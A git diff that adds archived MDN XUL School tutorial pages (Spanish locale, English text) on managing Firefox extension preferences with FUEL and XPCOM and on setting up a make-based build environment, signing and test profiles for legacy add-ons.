+<div>{{Next("XUL_School/Getting_Started_with_Firefox_Extensions")}}</div>
+
+<p><small>This tutorial was kindly donated to Mozilla by Appcoast.</small></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/manejo_de_preferencias/index.html b/files/es/mozilla/tech/xul/escuela_xul/manejo_de_preferencias/index.html
new file mode 100644
index 0000000000..9c3f436636
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/manejo_de_preferencias/index.html
@@ -0,0 +1,305 @@
+---
+title: Manejo de preferencias
+slug: Mozilla/Tech/XUL/Escuela_XUL/Manejo_de_preferencias
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Handling_Preferences
+---
+<blockquote>
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+</blockquote>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Notificaciones_Observer", "Escuela_XUL/Almacenamiento_local") }}</p>
+
+<h2 id="Preferences_in_Firefox">Preferences in Firefox</h2>
+
+<p>Mozilla applications are highly customizable. Preferences are used to store settings and information to change their default behavior. To open the preferences window in Firefox, select the following from the main menu:</p>
+
+<ul>
+ <li>On Windows, Tools &gt; Options</li>
+ <li>On Mac, Firefox &gt; Preferences</li>
+ <li>On Linux, Edit &gt; Preferences</li>
+</ul>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">Keep in mind the usage of the terms "Preferences" and "Options" in different platforms. If you need to refer to the term "preference" in any of your locale files, you must change the string depending on the operating system. Tip: you can use <a href="/en/DOM/window.navigator.platform" title="en/DOM/window.navigator.platform">window.navigator.platform</a> in your chrome code to figure out the operating system Firefox is running on. You can use the <a href="/en/XPCOM_Interface_Reference/nsIAppShellService#Attributes" title="en/XPCOM Interface Reference/nsIAppShellService#Attributes">Hidden DOM Window</a> in non-chrome code.</div>
+</div>
+</div>
+
+<p>Firefox loads user preferences from a number of sources. Each source is a JS file that contains some special functions not available in regular code. The following files are used:</p>
+
+<ul>
+ <li>Default preferences: these are stored in the directory <em>defaults/pref</em> in the Firefox installation directory.</li>
+ <li>Current preferences: these are stored in the profile directory with the name <em>prefs.js</em>. This is where the user's settings are stored. This file is updated when preferences are modified by the user.</li>
+ <li>User preferences: the file <em>user.js</em> in the user's profile directory holds additional preferences the user has set. This file is never written to by Firefox, but you may wish to set preferences manually in this file to override other settings.</li>
+ <li><a href="/en/Automatic_Mozilla_Configurator/Locked_config_settings" title="en/Automatic Mozilla Configurator/Locked config settings">Lockfile settings</a>: these preferences are stored in a file that usually has the name <em>mozilla.cfg</em> or <em>netscape.cfg</em>. The file may be located on a network. It is intended to be used by an administrator or ISP to set settings centrally. In addition, certain preferences may be locked such that users cannot change them. Locked preferences are disabled in the Preferences window.</li>
+</ul>
+
+<p>Firefox exposes its most common high-level preferences through the Preferences window and other parts of its UI. In reality there are thousands of other preferences Firefox handles that are not readily available to the user. These are hidden because they are too advanced or obscure for regular users to manage, and because the Preferences window should be as easy to use as possible. To access all other preferences, enter "about:config" into the Location Bar. This XUL page lists all the preferences defined in the Firefox installation, allowing you to change them as you please. As the warning message states, you should be very careful when changing preferences. Incorrect values can make Firefox behave oddly or break altogether.</p>
+
+<p>You can type on the "Filter" textbox to search for specific preferences. If you type the word "homepage", it will filter all the preferences and display only the ones which include the word "homepage" in its name or value. Right-clicking on the list reveals several options that allow you to modify preference values and add new ones. Preferences with non-default values are highlighted in bold. All changes done in about:config are saved to the <em>prefs.js</em> file.</p>
+
+<p>The list in about:config is not complete. Some Firefox preferences have no default value, so they are left out unless you add them manually. An extensive specification of Firefox preferences can be seen <a class="external" href="http://kb.mozillazine.org/Category:Preferences">in this page</a>. You don't need to know them by heart; if doing task X requires some preference, then it's better to look for an explanation on how to do X rather than diving into the preferences list and see if you can find the preference you need. MDC articles and other guides are usually good at specifying the preferences you'll need to use.</p>
+
+<h2 id="Adding_preferences_to_an_extension">Adding preferences to an extension</h2>
+
+<p>Extensions can read and write Firefox preferences and, most importantly, create and manage their own. The <a href="/en/Code_snippets/Preferences" title="en/Code snippets/Preferences">Preferences System</a> provides a simple, unified storage facility for name / value mappings. When your storage needs are more complicated than this, you'll need more advanced APIs that will be discussed in a section further ahead.</p>
+
+<p>To add preferences to your extension you should first create a JS preferences file that describes the preferences and their default values, although setting defaults is not required. As mentioned earlier, a preference with no default value can be set later on.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">We recommend that you include all of your extension preferences in the JS defaults file. It makes it easier to compile a list of the preferences your extensions handle, and to document what they do.</div>
+</div>
+</div>
+
+<p>The preferences file you need to create should be <em>defaults/preferences/yourextensionname.js</em>, under your extension root. The naming of the JS file is not compulsory, but it is the standard most extensions use.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">The purpose of the <em>defaults</em> directory is to hold non-code files your extension needs. In the past we have used this directory to store XSLT files for XML transformations and local storage template files (more on this later). It's the best place to put miscellaneous files your extension needs.</div>
+</div>
+</div>
+
+<p>Download this <a href="/@api/deki/files/5145/=HelloWorld5.zip" title="https://developer.mozilla.org/@api/deki/files/5145/=HelloWorld5.zip">sample Hello World using preferences</a>. There are a couple of additions in the Makefiles, to include the preference file <em>xulschoolhello.js</em>. The contents of the file are fairly simple:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">// Amount of messages shown to the user.
+pref("extensions.xulschoolhello.message.count", 0);</pre>
+</div>
+</div>
+
+<p>This defines a preference we'll use to keep track of the amount of times we have displayed a greeting message to the user. Its default value is 0. You'll see this preference appear in about:config after installing the extension. Just type "xulschool" in the filter box to see your new preference.</p>
+
+<div class="note">Always begin your preference names with <em>extensions</em>, followed by some namespacing and finally the actual name of the preference. Name parts are normally separated by dots.</div>
+
+<p>Now let's look at how we actually manage the preference values.</p>
+
+<h2 id="Managing_Preferences_with_FUEL">Managing Preferences with FUEL</h2>
+
+<p><a href="/en/Toolkit_API/FUEL" title="en/FUEL">FUEL</a> is a JS library integrated into Firefox that was meant to facilitate extension development. It fell a little short of its goals, but it is useful for preference handling. Firefox-based applications like Flock include FUEL, and SeaMonkey includes a FUEL equivalent called <a href="/en/Toolkit_API/SMILE" title="en/Toolkit API/SMILE">SMILE</a> since version 2.</p>
+
+<p>We modified our JSM sample extension so that it uses a preference instead of an internal variable. The main difference in functionality is that after closing Firefox and reopening it, our extension remembers how many greetings have been displayed before. The original extension only kept track of the greetings shown in a browser session. This new version persists this number across sessions.</p>
+
+<p>Since the only reason we used non-chrome code in the JSM sample extension was to store the message count in a single location, we can easily modify this new extension so that it uses chrome code exclusively. There's no need for JavaScript Code Modules or XPCOM anymore. We're making this point because using the FUEL library from chrome code is slightly different thant using it from non-chrome code. The difference lies in how to get the "root" <a href="/en/Toolkit_API/extIApplication" title="en/FUEL/Application">Application object</a>:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">// chrome code.
+Application.something
+
+// non-chrome code.
+let application =
+  Cc["@mozilla.org/fuel/application;1"].getService(Ci.fuelIApplication);
+application.something</pre>
+</div>
+</div>
+
+<p>In the chrome you have the global Application object ready to use, while in non-chrome code you need to get it as an XPCOM service. It <em>is</em> an XPCOM service, with the difference that it can be more easily accessed in the chrome.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">FUEL only works in Firefox 3 and above.</div>
+</div>
+</div>
+
+<p>The Application object has a <em>prefs</em> property of type <a href="/en/Toolkit_API/extIPreferenceBranch" title="en/FUEL/PreferenceBranch">PreferenceBranch</a>. You can use it to manage preferences easily.</p>
+
+<p>First, you get an object that represents your preference:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this._countPref =
+  application.prefs.get("extensions.xulschoolhello.message.count");</pre>
+</div>
+</div>
+
+<p>Then you can get or set its value using the <em>value</em> property.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * Returns the current message count.
+ * @return the current message count.
+ */
+get count() { return this._countPref.value; },
+
+/**
+ * Increments the message count by one.
+ */
+increment : function() {
+  this._countPref.value++;
+}</pre>
+</div>
+</div>
+
+<p>The <em>prefs</em> object also has methods that allow you to get and set preference values directly, but we prefer this approach.</p>
+
+<h4 id="Preference_Listeners">Preference Listeners</h4>
+
+<p>Sometimes you'll want to be notified when a preference changes its value. For example, if we wanted to have a display of the message count somewhere in the browser, we should use a preference listener to keep it up to date. This way we know we have the right value even if the user changes it manually in about:config.</p>
+
+<p>To do this in FUEL, add an event listener for the "change" event:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this._countPref.events.addListener("change", this);</pre>
+</div>
+</div>
+
+<p>The listener object should implement the <a href="/en/Toolkit_API/extIEventListener" title="en/FUEL/EventListener">EventListener</a> interface. Similarly to observers, all you need to do is have a <em>handleEvent</em> method in a JS object. Or you can use an anonymous function that takes an <a href="/en/Toolkit_API/extIEventItem" title="en/FUEL/EventItem">EventItem</a> object.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this._countPref.events.addListener("change", function(aEvent) { /* do stuff. */ });</pre>
+</div>
+</div>
+
+<p>Always remember to remove listeners when you don't need them anymore.</p>
+
+<h2 id="Managing_Preferences_with_XPCOM">Managing Preferences with XPCOM</h2>
+
+<p>The preferences system is implemented with XPCOM. FUEL is only a wrapper that gives the XPCOM services a friendlier face, so using either is pretty much the same. Using XPCOM is a little more verbose, as usual.</p>
+
+<p>We use the <a href="/en/XPCOM_Interface_Reference/nsIPrefBranch" title="en/NsIPrefBranch">Preferences Service</a> in order to get and set preference values:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this._prefService =
+  Cc["@mozilla.org/preferences-service;1"].getService(Ci.nsIPrefBranch);
+// ...
+get count() {
+  return this._prefService.getIntPref("extensions.xulschoolhello.message.count");
+},
+increment : function() {
+  let currentCount =
+    this._prefService.getIntPref("extensions.xulschoolhello.message.count");
+
+  this._prefService.setIntPref("extensions.xulschoolhello.message.count", currentCount + 1);
+}</pre>
+</div>
+</div>
+
+<p>One important thing to keep in mind is that the "get" methods of the service can throw an exception if the preference is not found. If you are going to use XPCOM, you should always set a default value to your preferences, or use a try / catch block to prevent unhandled errors.</p>
+
+<h4 id="Preference_Listeners_2">Preference Listeners</h4>
+
+<p>The XPCOM way to add a listener was mentioned in the XPCOM section when describing the <em>QueryInterface</em> method:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this._prefService.QueryInterface(Ci.nsIPrefBranch2);
+this._prefService.addObserver(prefName, this, false);
+this._prefService.QueryInterface(Ci.nsIPrefBranch);</pre>
+</div>
+</div>
+
+<p>All the QI'ing is necessary because the <a href="/en/XPCOM_Interface_Reference/nsIPrefBranch2#addObserver()" title="en/NsIPrefBranch2#addObserver()">addObserver</a> method is in a different interface, and other than for adding and removing observers, we use the nsIPrefBranch interface for everything related to preferences.</p>
+
+<p>Then, create the observer method:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">observe : function(aSubject, aTopic, aData) {
+  if ("nsPref:changed" == aTopic) {
+    let newValue = aSubject.getIntPref(aData);
+    // do something.
+  }
+},</pre>
+</div>
+</div>
+
+<p>Always remember to remove the observer when you don't need it anymore:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this._prefService.QueryInterface(Ci.nsIPrefBranch2);
+this._prefService.removeObserver(prefName, this);</pre>
+</div>
+</div>
+
+<h2 id="Preference_Windows">Preference Windows</h2>
+
+<p>It's very common for extensions to have a few settings that their users can change to tailor them to their needs. Since there are some subtleties related to preference management, there are some facilities provided in XUL and Firefox that make this much easier to deal with.</p>
+
+<p>The standard way of opening a preferences window is to open the Add-ons Manager, select the add-on, and then click on the Preferences button. In order to have this button enabled in your extension you need to add the following line to <em>install.rdf</em>:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;em:optionsURL&gt;chrome:<span class="code-comment">//xulschoolhello/content/preferencesWindow.xul&lt;/em:optionsURL&gt;</span></pre>
+</div>
+</div>
+
+<p>If you want to open this window from a different place in the UI, such as a menu item or a button in a toolbar, you need to take into account that the opening behavior of a Preferences window is different depending on the operating system. This is how we do it:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">openPreferences : function() {
+  if (null == this._preferencesWindow || this._preferencesWindow.closed) {
+    let instantApply =
+      Application.prefs.get("browser.preferences.instantApply");
+    let features =
+      "chrome,titlebar,toolbar,centerscreen" +
+      (instantApply.value ? ",dialog=no" : ",modal");
+
+    this._preferencesWindow =
+      window.openDialog(
+        "<a class="external" rel="freelink">chrome://xulschoolhello/content/preferencesWindow.xul</a>",
+        "xulschoolhello-preferences-window", features);
+  }
+
+  this._preferencesWindow.focus();
+},</pre>
+</div>
+</div>
+
+<p>This code is based on the code that opens Preference windows from the Add-ons Manager. It does 2 things:</p>
+
+<ol>
+ <li>Check if the Preferences window is already open. In that case, just give it focus.</li>
+ <li>Make the window modal in systems where the instant apply rule is not used. Notice that this is a preference that users can switch, so checking for the operating system is not good enough.</li>
+</ol>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">The general philosophy in non-Windows systems is that a change in a preference applies immediately. Preference windows don't have any buttons, or just an OK or Close button. On Windows, changing preferences don't apply until the user click on the OK button. The user can click on the Cancel button and none of the changes performed in the window will apply. This is why it makes sense to have Preference windows be modal on Windows. This way the user is urged to apply or discard any changes instead of being able to ignore the Preferences window.</div>
+</div>
+</div>
+
+<p>For preferences windows you should always use the <a href="/en/XUL/prefwindow" title="en/XUL/prefwindow">prefwindow</a> element instead of <a href="/en/XUL/window" title="en/XUL/window">window</a> in your XUL file. Firefox will know if it needs to add OK and Cancel buttons or not.</p>
+
+<p>In most cases, your preferences window will have a few options that can be displayed all at once. If you have many preferences, you can organize them using the <a href="/en/XUL/prefpane" title="en/XUL/prefpane">prefpane</a> element. This creates a visually appealing tabbed view, just like the one in the Firefox Preferences window. The <em>prefpane</em> is just a container, and you can have as many as you want. The tabs at the top of the window will need icons, and just like with toolbar buttons there are subtle differences between operating systems.</p>
+
+<p>The <em>prefwindow</em> allows you to use the <a href="/en/XUL/preferences" title="en/XUL/preferences">preferences</a> and <a href="/en/XUL/preference" title="en/XUL/preference">preference</a> elements, which facilitate preference handling. The <em>preferences</em> element is just a container, and you should have one per window, or one per <em>prefpane</em> if you have those. The element and its children are completely invisible, and their purpose is to list the preferences to be used in the window/pane.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;preferences&gt;
+  &lt;preference id=<span class="code-quote">"xulschoolhello-message-count-pref"</span>
+    name=<span class="code-quote">"extensions.xulschoolhello.message.count"</span> type=<span class="code-quote">"<span class="code-object">int</span>"</span> /&gt;
+  &lt;!-- More preference elements. --&gt;
+
+&lt;/preferences&gt;</pre>
+</div>
+</div>
+
+<p>After you define the preferences you need, you associate them with the form elements in your window or pane using the <a href="/en/XUL/Attribute/preference" title="en/XUL/Attribute/preference">preference attribute</a>:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;textbox preference=<span class="code-quote">"xulschoolhello-message-count-pref"</span> type=<span class="code-quote">"number"</span>
+  min=<span class="code-quote">"0"</span> max=<span class="code-quote">"100"</span> /&gt;</pre>
+</div>
+</div>
+
+<p>In this case we use a numeric field to set the message count preference. Changing the value in the control will change the preference (depending on the instant apply rule), and vice versa. You may be able to create a Preferences window without a single line of JS code thanks to the <em>preference</em> element.</p>
+
+<p>Finally, groupboxes are a good idea to organize the contents of the window and preference panes. They are heavily stylized in the Firefox Preferences window, so you should include the same CSS file that is included in it (<a class="external" rel="freelink">chrome://browser/skin/preferences/preferences.css</a>). This way you don't have to rewrite all the CSS rules defined for Firefox. You should also look at the <em>class</em> values set to elements in the XUL file, so that your Preferences window is just like the one in Firefox and your extension is better integrated into the application and the native OS look and feel.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Notificaciones_Observer", "Escuela_XUL/Almacenamiento_local") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/montando_un_ambiente_de_desarrollo/index.html b/files/es/mozilla/tech/xul/escuela_xul/montando_un_ambiente_de_desarrollo/index.html
new file mode 100644
index 0000000000..e280fda079
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/montando_un_ambiente_de_desarrollo/index.html
@@ -0,0 +1,244 @@
+---
+title: Montando un ambiente de desarrollo
+slug: Mozilla/Tech/XUL/Escuela_XUL/Montando_un_ambiente_de_desarrollo
+translation_of: >-
+  Archive/Add-ons/Overlay_Extensions/XUL_School/Setting_Up_a_Development_Environment
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Elementos_esenciales_de_una_extensión", "Escuela_XUL/Agregar_menus_y_submenus") }}</p>
+
+<h2 id="Getting_the_right_tools">Getting the right tools</h2>
+
+<p>There are 3 tools that we think are essential for effective add-on development (or any kind of development, really): a source code editor, a source control system, and a build system.</p>
+
+<p>In regards to code editing, there's no official Mozilla IDE. On the other hand, extensions use the same (or similar) languages that are used for web development, so most text editors and IDEs are up to the task. Most XUL tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help.</p>
+
+<p>We recommend <a class="external" href="http://www.activestate.com/komodo_edit/" title="http://www.activestate.com/komodo_edit/">Komodo Edit</a>. It's free, open source, and cross-platform. It's based on the Mozilla XULRunner platform, so it has support for some of the particularities in Firefox extension development. Komodo Edit has automatic completion for XUL tags and attributes, and it supports <a href="/en/Mozilla_CSS_Extensions" title="en/Mozilla CSS Extensions">Mozilla's CSS extensions</a> (CSS values and properties beginning with "-moz"). It has an add-on system similar to the one in Firefox, and there are some Komodo extensions that provide additional help in extension development. That is more than what you can get with most other editors, so we recommend you to give it a try. All of our examples are handled with Komodo Edit, so if you see a <em>.kpf</em> file in an example you downloaded, this is a Komodo project file.</p>
+
+<p>For source control, we just recommend that you have it. We mostly use <a class="external" href="http://subversion.tigris.org/">Subversion</a>, but any other will do, and it won't be necessary for examples or exercises presented in this tutorial.</p>
+
+<p>To package XPI files, we use <a class="external" href="http://www.gnu.org/software/make/">make</a>. We chose <em>make</em> because this is the system used by Mozilla to build Firefox, and it is available for all operating systems. <em>make</em> is a default tool in most UNIX-based systems. It can be installed on Mac OS X as part of the XCode Tools package, and on Windows through <a class="external" href="http://www.cygwin.com/">cygwin</a>. In <em>cygwin</em> installations you'll have to explicitly check the <em>make</em> and <em>zip</em> utilities from the long list of packages to download and install.</p>
+
+<p>Also make sure that <em>make</em> is in the executable system path. After setting up <em>make</em>, you should be able to open a command line window, run "make -ver", and get the installed version of <em>make</em> as output.</p>
+
+<p>We recommend you set up <em>make</em> in your system, since our examples come with all the necessary files to build and install the resulting XPI using this tool. It will save you a lot of packaging time. Or you can create an equivalent system using batch, Ant or whatever you prefer.</p>
+
+<h2 id="Build_system">Build system</h2>
+
+<p>Let's start by downloading the project used to build the second version of Hello World, from the exercise in the last section.</p>
+
+<p><a href="/@api/deki/files/5142/=HelloWorld2.zip" title="https://developer.mozilla.org/@api/deki/files/5142/=HelloWorld2.zip">Hello World 2 Project</a>.</p>
+
+<p>Unzip the file anywhere you want. Inside the <em>HelloWorld2</em> directory, you'll see two directories: <em>bin</em> and <em>src</em>. The <em>bin</em> directory should be empty. This is where all the resulting build files will be created, and where you'll find the extension XPI file once you get it to build.</p>
+
+<p>Open the project file (<em>HelloWorld2.kpf</em>) from the <em>src</em> directory in Komodo Edit. In the Projects tab you should be able to see the directory structure inside the <em>src</em> directory. This structure should be familiar, as it is almost identical to the unpacked XPI from the previous section.</p>
+
+<p>The only notable additions are <em>Makefile</em> under src and <em>Makefile.in</em> under <em>chrome</em>. These are the files that <em>make</em> uses to build the XPI. You should take some time to read them and understand them, or at least identify the parts that you should change to get a project of your own going. This <a class="external" href="http://www.chemie.fu-berlin.de/chemnet/use/info/make/make_toc.html">GNU Make Manual</a> is a very good reference to get to know <em>make</em> and Makefiles.</p>
+
+<p>In most cases you'll only need to change the first lines in the file <em>Makefile</em>. These define the extension name (which will also be the name of the JAR file), the extension id (as specified in <em>install.rdf</em>) and the name of the profile directory where the extension will be installed during development and testing. More about this further ahead.</p>
+
+<p>Let's try and build the XPI from the command line first. Open the command line program in your system and navigate to the <em>src</em> directory in your project. Run the following command:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">make</pre>
+</div>
+</div>
+
+<p>That's it. If everything went well, you should see an output similar to this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">Creating chrome JAR file.
+  adding: content/browserOverlay.js (deflated 42%)
+  adding: content/browserOverlay.xul (deflated 59%)
+  adding: skin/browserOverlay.css (stored 0%)
+  adding: locale/en-US/browserOverlay.dtd (deflated 52%)
+  adding: locale/en-US/browserOverlay.properties (stored 0%)
+Creating chrome JAR file. Done!
+Creating XPI file.
+  adding: install.rdf (deflated 50%)
+  adding: chrome.manifest (deflated 60%)
+  adding: chrome/xulschoolhello.jar (deflated 30%)
+Creating XPI file. Done!
+
+Build finished successfully.</pre>
+</div>
+</div>
+
+<p>If you inspect the <em>bin</em> directory, you should see the <em>xulschoolhello2.xpi</em> file, and a <em>build</em> directory with copies of the project files. The <em>build</em> directory is just a temporary location where files are copied before the final XPI is built. If you run <em>make</em> again, you'll only see the last line of the build process. That is because <em>make</em> can tell that the files in the <em>build</em> directory are up to date, and nothing needs to be done. Making changes on source files will make <em>make</em> run the necessary steps to build the XPI again.</p>
+
+<p>You can clean up the <em>bin</em> directory by just running the following command (again, from the <em>src</em> directory):</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">make clean</pre>
+</div>
+</div>
+
+<p>You can also run these commands from Komodo. Click on Tools &gt; Run Command.... In the "Run" textbox you should type this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">bash -c <span class="code-quote">"make"</span></pre>
+</div>
+</div>
+
+<p>Or add "clean" for the clean command. The "bash -c" part forces Komodo to use <em>bash</em>, which for some reason can't be set properly as the default command shell. It isn't necessary to add this, but it's better so that it is consistent with the <em>make</em> command we'll see next.</p>
+
+<p>In the "Start in" textbox you should choose <em>%p</em>(directory path of active project). If you don't see this textbox, click on the "More" button. You also have the option to save the command, by clicking on the "Add to Toolbox" checkbox. To see the Toolbox, click on View &gt; Tabs &gt; Toolbox, from the main menu. With that, you should now have a very easy way to build your XPI, by just double clicking on the created commands.</p>
+
+<p>We can make it even better. Once you're testing and debugging your code, you'll find that constantly building and installing an XPI can be very tedious. This is the reason why we introduced "make install". This only works if your extension is already installed in a Firefox profile. Just like in the provided project, you need the add-on id and profile location set in the file <em>Makefile</em>. We use this information to locate the installation path of the extension and overwrite the installed files. If Firefox is open at the time you run "make install", you'll have to restart it in order to see the changes. It's still better than installing the XPI all over again.</p>
+
+<p>In order to set the profile location to the right value, you should read the <a class="external" href="http://support.mozilla.com/en-US/kb/Profiles">support article on profiles</a>, at the Mozilla Support site. We'll also delve deeper in this topic later on in this section.</p>
+
+<p>To make "make install" work on non-Windows systems, you need an extra step. The install process requires using an environment variable called <em>OSTYPE</em>, which is not exported. Long story short, if you want to run it from a command line, you need to run:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">export OSTYPE; make install</pre>
+</div>
+</div>
+
+<p>And in the command in Komodo, you should enter the following:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">bash -c <span class="code-quote">"export OSTYPE; make install"</span></pre>
+</div>
+</div>
+
+<p>The <em>export</em> command won't work correctly unless you use "bash -c".</p>
+
+<div class="note">The file <em>Makefile</em> specifies which profile folder the add-on will be reinstalled to. This is set in the <em>profile_dir</em> variable (set to "xulschool-dev" in this case). When creating a development profile for your add-on, make sure you choose an easy name for the profile folder, and set it in your <em>Makefile</em> in order to take advantage of the install command.</div>
+
+<h3 id="Building_IDL_files">Building IDL files</h3>
+
+<p>Some extensions require developing XPCOM components to add certain advanced functions. There's a section dedicated to XPCOM in this tutorial, but we'll briefly discuss the impact it has on building the extension. You can skip this section and keep it present as a reference in case you do need to use XPCOM in your project.</p>
+
+<p>XPCOM interfaces are defined using IDL files. These are text files that define the attributes and methods in one or more interfaces. These IDL files are compiled into binary form and included in the extension as XPT files.</p>
+
+<p>To compile an IDL file to XPT, you need a command line tool called <em>xpidl</em>. This tool is included in the Mozilla <a href="/en/Gecko_SDK" title="en/Gecko SDK">Gecko SDK</a>. If you need to compile IDLs, go to the SDK page and download a compiled version for your system. Also note any prerequisites you may need. If your system is not listed in the supported builds, you'll have to build the SDK yourself from the Mozilla source. Good luck with that.</p>
+
+<p>You should also set up your environment so that <em>xpidl.exe</em> (or just <em>xpidl</em> on other systems) is in the default executable path, and also add a variable called GECKO_SDK, that points to your SDK build:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">export GECKO_SDK=/path/to/your/sdk</pre>
+</div>
+</div>
+
+<p>Our build system should pick it up from there. To make it work in Komodo in Unix-based systems, we add the command to the <em>.bash_login</em> file in the home directory, and we modify the commands to this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">bash -c <span class="code-quote">". ~/.bash_login; make"</span></pre>
+</div>
+</div>
+
+<p>An example project with XPCOM components is included in the XPCOM section. There is also a mention about building C++ XPCOM, which is something much more complicated.</p>
+
+<h3 id="Signing_extensions">Signing extensions</h3>
+
+<p>In order to provide additional security for your users, you can choose to <a href="/en/Signing_an_extension" title="en/Signing an extension">add a signature to your extension</a>. The signature verifies that you are the author of this extension, and it can only be done if you have a valid certificate provided by a trusted Certificate Authority.</p>
+
+<p>The only noticeable difference for the user is that the XPI installation dialog will say that the extension was created by you, making the dialog a little easier to trust. It's not common to sign extensions because most users will trust the official add-ons site (AMO) rather than rely on extension signatures. On the other hand, it is standard practice for big companies to sign their extensions.</p>
+
+<p>You'll need to download some libraries in order to be able to sign your extension. Follow the <a href="/en/Signing_an_extension" title="en/Signing an extension"><span class="external">instructions</span></a>, and add something like the following to your Makefile:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java"># The directory where the signature sources are located.
+signature_dir := signature
+
+# The signing key /certificate file.
+signature_extra_files := $(build_dir)/META-INF/manifest.mf \
+                         $(build_dir)/META-INF/zigbert.sf
+# The signing key /certificate file.
+signature_rsa_file = $(build_dir)/META-INF/zigbert.rsa# The signing key /certificate file.
+signature_files := $(signature_extra_files) \
+                   $(signature_rsa_file)
+
+$(signature_files): $(build_dir) $(xpi_built)
+  @signtool -d $(signature_dir) -k $(cert_name) \
+  -p $(cert_password) $(build_dir)</pre>
+</div>
+</div>
+
+<p>Keep in mind that your password should not be in your Makefiles, and you must be very careful with the certificate information. Ideally this should be handled by a single person, and only done near the end of the release process. You should also have a different <em>make</em> command, such as <em>make signed</em> in order to distinguish the signed and unsigned development builds.</p>
+
+<h2 id="Firefox_profile_management">Firefox profile management</h2>
+
+<p>It is good development practice to keep your test environment separate from everything else. You don't want unstable extensions to break your everyday Firefox profile, risking data loss. It's much better to have a different "version" of Firefox for testing. This is what Firefox profiles are for.</p>
+
+<p>You can learn about setting up multiple Firefox profiles in the Mozilla Support article <a class="external" href="http://support.mozilla.com/en-US/kb/Managing+profiles">Managing Profiles</a>. You can have as many profiles as you like. You can also mix them with multiple Firefox installations. For instance, you may want to test your extension in Firefox 3.5 and Firefox 3.6, or test it in a localized version of Firefox. You can install as many Firefox versions as you want, and mix profiles and versions.</p>
+
+<p>On Windows and Linux it's easy to create shortcuts for every profile you create, using the commands mentioned in the support article.</p>
+
+<p>For Mac OS X developers, there is also a way to set up "shortcuts". You can do this by opening the Automator application, choosing Run Shell Script and then entering the profile-loading script in the textbox:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -p MyProfile &gt; /dev/<span class="code-keyword">null</span> &amp;</pre>
+</div>
+</div>
+
+<p>You can change "/dev/null" to a file location, in case you want to see <em>dump</em> output from Firefox, or other extensions. The last <em>&amp;</em> prevents Automator from waiting for your Firefox session to finish. Save this as an Application, not a Workflow. And you probably want to have these on your Desktop or Dock, for easy access.</p>
+
